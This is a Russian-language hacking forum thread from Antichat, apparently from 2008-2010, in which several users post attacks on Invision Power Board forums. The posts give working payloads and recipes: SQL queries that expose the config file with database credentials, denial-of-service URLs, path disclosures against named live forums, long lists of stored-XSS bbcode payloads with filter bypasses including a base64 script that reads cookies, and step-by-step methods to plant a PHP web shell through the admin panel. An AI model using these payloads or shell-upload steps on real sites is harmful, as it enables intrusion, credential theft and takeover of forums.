ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 27.10.2008, 17:34
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Автор: Elekt

Исходя из адвизори
http://acid-root.new.fr/?0:18
есть еще три других существенных бага, не используемых в эксплоите.

1) Утечка админской сессии

Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor".
Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару.

2) Отказ в обслуживании

Неправильное использование пост-инкремента в защитной функции разбора массивов.
Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все.

/index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123


соответственно чем больше скобок, тем дольше будет обработка

3) HTTP Response Splitting attacks

INFO[base_url] не определен в конфиге

/admin.php?INFO[base_url]=http://phishing-hax.com/

PS Материал востановлен
Дата публикации: 02.09.2008, 09:45
Автор Elekt
 
Ответить с цитированием

Чтение файлов при помощи админки
  #32  
Старый 27.10.2008, 17:52
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Чтение файлов при помощи админки

Автор: Dr.Frank

Чтение файлов при помощи админки(если шелл залить не получилось).
Тестил на версиях 2.3.1 2.3.3

В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим:

Цитата:
select * from ibf_attachments where attach_is_image=0
Берем номер любого файла(attach_id).
Выполняем следующий запрос:

Цитата:
update ibf_attachments set attach_location='../conf_global.php', attach_ext='php' where attach_id=attach_id
или такой(форум иногда точки заменяет спец.символами):

Цитата:
update ibf_attachments set attach_location = 0x2e2e2f636f6e665f676c6f62616c2e706870, attach_ext='php' where attach_id=attach_id

и по адресу
http://forum/index.php?act=attach&type=post&id=attach_id
должен появиться файл с настройками conf_global.php

PS Материал востановлен
Дата публикации: 16.09.2008, 15:32
Автор Dr.Frank
 
Ответить с цитированием

ibStore <= 3.2.0
  #33  
Старый 30.11.2008, 19:45
Аватар для PEHAT
PEHAT
Новичок
Регистрация: 16.11.2008
Сообщений: 2
Провел на форуме:
3536

Репутация: 0
По умолчанию ibStore <= 3.2.0

DOS

http://target/index.php?autocom=store&CODE=item_effect&type=rese ll,BENCHMARK(10000000,BENCHMARK(10000000,md5(curre nt_date)))
 
Ответить с цитированием

  #34  
Старый 04.05.2009, 00:50
Аватар для brain[pillow]
brain[pillow]
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме:
1483379

Репутация: 386
Отправить сообщение для brain[pillow] с помощью ICQ
По умолчанию

Invision Power Board 3.0.0 Beta 5 Active XSS & Path disclosure

http://milw0rm.com/exploits/8538
 
Ответить с цитированием

  #35  
Старый 19.08.2009, 12:28
Аватар для DanST
DanST
Новичок
Регистрация: 23.05.2007
Сообщений: 22
Провел на форуме:
70057

Репутация: -8
По умолчанию

Цитата:
Сообщение от jokester  
Автор: Elekt

Invision Power Board <= 2.3.5

Multiple Vulnerabilities

Автор Elekt[/right]
Архив битый
 
Ответить с цитированием

  #36  
Старый 03.12.2009, 18:35
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

I.P.B. Раскрытие путей

Код:
http://victim.com/ipb/?&act=attach&code=attach_upload_remove
Примеры на популярных форумах:

PickUp.Ru:

Код:
http://www.pickupforum.ru/?&act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /home/pickupforum/pickupforum.ru/sources/classes/attach/class_attach.php on line 993
Fishki.Net:

Код:
http://forum.fishki.net/?act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /www/forum.fishki.net/sources/classes/attach/class_attach.php on line 993
 
Ответить с цитированием

Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
  #37  
Старый 17.12.2009, 18:19
Аватар для LeverOne
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS.

Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612

Однако несколько моментов все же стоит осветить:

1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция.

2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно.

3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится.

Объясню на примере:

Возьмем структуру вложенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url]

на выходе :

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a>

Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза.

Теперь переделаем это в стиле скрещенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry]

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a>

И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет.

[*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry]


<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a>

Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится.

1) [*email=user@domain.com]Clickhere![*/email]

A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email]
B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email]
C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email]
D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email]
E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email]
F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email]
G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email]

2) [*url]http://www.domain.com[*/url]

A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url]
B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url]
C) [*url]http://www.domain.com[*size=7]This[*/size][*/url]
D) [*url]http://www.domain.com[*font=times]This[*/font][*/url]
E) [*url]http://www.domain.com[*color=red]This[*/color][*/url]
F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background]
G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url]
H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url]

3) [*url=http://www.domain.com]Clickhere![*/url]

A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url]
B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url]
C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url]
D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url]
E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url]
F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url]
G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url]

4) [*font=times]This[*/font]

A) [*font=times[*font=times]This[*/font]]This[*/font]
B) [*font=times[*member=admin]runs this site.]This[*/font]
C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font]
D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font]


5) [*color=red]This[*/color]

A) [*color=red[*color=red]This[*/color]]This[*/color]
B) [*color=red[*font=times]This]Th[*/font]is[*/color]
C) [*color=red[*member=admin]runs this site.]This[*/color]
D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color]
E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color]


6) [*topic=100]Clickme![*/topic]

A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic]
B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic]
C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic]
D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic]
E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic]
F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email]
G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic]
H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic]
I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic]
J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic]
K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic]

7) [*post=100]Clickme![*/post]

A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post]
B) [*post=100[*email=user@domain.com]][*/post][*/email]
C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post]
D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post]
E) [*post=100[*member=admin]runs this site.]Clickme![*/post]
F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog]
G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post]

8) [*acronym='Laugh Out Loud']lol[*/acronym]

A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym]
B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym]
C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym]
D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym]
E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym]
F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym]
G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow]
H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym]

9) [*background=red]Red_background_behind_this_text[*/background]

A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background]
B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background]
C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background]
D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background]
E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background]
F) [*background=red[*entry=100]]Red[*/entry][*/background]

LeverOne. 17.12.2009

Последний раз редактировалось LeverOne; 17.01.2010 в 10:43.. Причина: уточнение
 
Ответить с цитированием

  #38  
Старый 19.12.2009, 04:07
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):

вариант1:

Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'

полный путь можно посмотреть так:

->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO

шелл: http://site.ru/uploads/shell.php

PS: Нужны соответствующие права

вариант2:

Форумы->Прикрепляемые файлы->Типы файлов

жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да.

Топаем в свой профиль:

http://site.ru/index.php?app=core&module=usercp&tab=members&area= avatar

грузим аву-шелл с расширением php3 и получаем шелл по адресу:

http://site.ru/uploads/av-1.php3

====================================

Раскрытие пути:

Код:
http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1
Код:
Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400
Код:
http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1
Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141
Код:
http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump=A
Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234
Код:
http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members&section=view&module=list&quickjump=A
Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235
Код:
http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members&section=view&module=list&quickjump=A
Код:
Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237
Код:
http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump[]=A
Код:
Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297

Последний раз редактировалось Pashkela; 19.12.2009 в 04:49..
 
Ответить с цитированием

  #39  
Старый 05.01.2010, 00:25
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Множественные уязвимости I.P.B.


Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.
Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&sect ion=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda .php:
PHP код:
        /* Build DB Array */ 
        
$db_array = array(  
                            
'qa_question'    => $_POST['question'], 
                            
'qa_answers'    => $_POST['answers'], 
                        ); 
...
PHP код:
       $this->DB->insert'question_and_answer'$db_array ); 

Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
PHP код:
    public function checkXss$txt=''$fixScript=false 
    { 
        
//----------------------------------------- 
        // Opening script tags... 
        // Check for spaces and new lines... 
        //----------------------------------------- 
         
        
if ( $fixScript 
        { 
            
$txt preg_replace"#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is"        "&lt;script" $txt ); 
            
$txt preg_replace"#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is""&lt;/script"$txt ); 
        } 
         
        
//----------------------------------------- 
        // Here we can do some generic checking for XSS 
        // This should not be considered fool proof, though can provide 
        //    a centralized point for maintenance and checking 
        //----------------------------------------- 
         
        
$txt str_ireplace"(j)avascript" "\\1avascript"$txt ); 
        
$txt str_ireplace"alert"      "alert"          $txt ); 
        
$txt str_ireplace"behavior"   "behavior"          $txt ); 
        
$txt preg_replace"/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" "\\1xp​ression"     $txt ); 
        
$txt preg_replace"/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is"       "\\1xp​ression"           $txt ); 
        
$txt preg_replace"/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is"       "moz-​binding"           $txt ); 
        
$txt str_ireplace"about:"     "about:"         $txt ); 
        
$txt str_ireplace"<body"      "&lt;body"            $txt ); 
        
$txt str_ireplace"<html"      "&lt;html"            $txt ); 
        
$txt str_ireplace"document." "document."      $txt ); 
        
$txt str_ireplace"window."   "window."      $txt ); 
         
        
$event_handlers    = array( 'mouseover''mouseout''mouseup''mousemove''mousedown''mouseenter''mouseleave''mousewheel'
                                 
'contextmenu''click''dblclick''load''unload''submit''blur''focus''resize''scroll'
                                 
'change''reset''select''selectionchange''selectstart''start''stop''keydown''keyup'
                                 
'keypress''abort''error''dragdrop''move''moveend''movestart''activate''afterprint'
                                 
'afterupdate''beforeactivate''beforecopy''beforecut''beforedeactivate''beforeeditfocus'
                                 
'beforepaste''beforeprint''beforeunload''begin''bounce''cellchange''controlselect'
                                 
'copy''cut''paste''dataavailable''datasetchanged''datasetcomplete''deactivate''drag'
                                 
'dragend''dragleave''dragenter''dragover''drop''end''errorupdate''filterchange''finish'
                                 
'focusin''focusout''help''layoutcomplete''losecapture''mediacomplete''mediaerror''outofsync'
                                 
'pause''propertychange''progress''readystatechange''repeat''resizeend''resizestart''resume'
                                 
'reverse''rowsenter''rowexit''rowdelete''rowinserted''seek''syncrestored''timeerror'
                                 
'trackchange''urlflip'
                                ); 
         
        foreach( 
$event_handlers as $handler 
        { 
            
$txt str_ireplace'on' $handler'on' $handler$txt ); 
        } 

        return 
$txt
    } 
Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
Код:
[*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
Для FF:
Код:
[*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]

Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
PHP код:
 $txt preg_replace"/(j)avascript/i" "\\1avascript"$txt ); 
Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
Код:
[*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code]

//Далее без претензии на уникальность, развиваю пост LeverOne'а
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:
Код:
[acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]
Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
Код:
[acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]

Последний раз редактировалось Root-access; 15.01.2010 в 21:23..
 
Ответить с цитированием

  #40  
Старый 01.02.2010, 22:41
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:

https://forum.antichat.ru/showpost.php?p=977862&postcount=10

но небольшие изменения:

1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый

2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master"

3. Идем в нашу папочку (на примере Denwer)

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

и суем туда наш любимый wso2.php

4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz

5. В архиве файлик images-master.xml

Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом

6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений

Рядом с

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

появится

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2

где будет лежать все тоже самое, плюс наш шелл

в итоге шелл будет по адресу:

http://forum.site.ru/public/style_images/master2/wso2.php

PS: не забудьте потом переместить шелл и удалить каталог master2

Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку

Последний раз редактировалось Pashkela; 01.02.2010 в 22:58..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[Обзор уязвимостей XMBForum] [x26]VOLAND Форумы 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ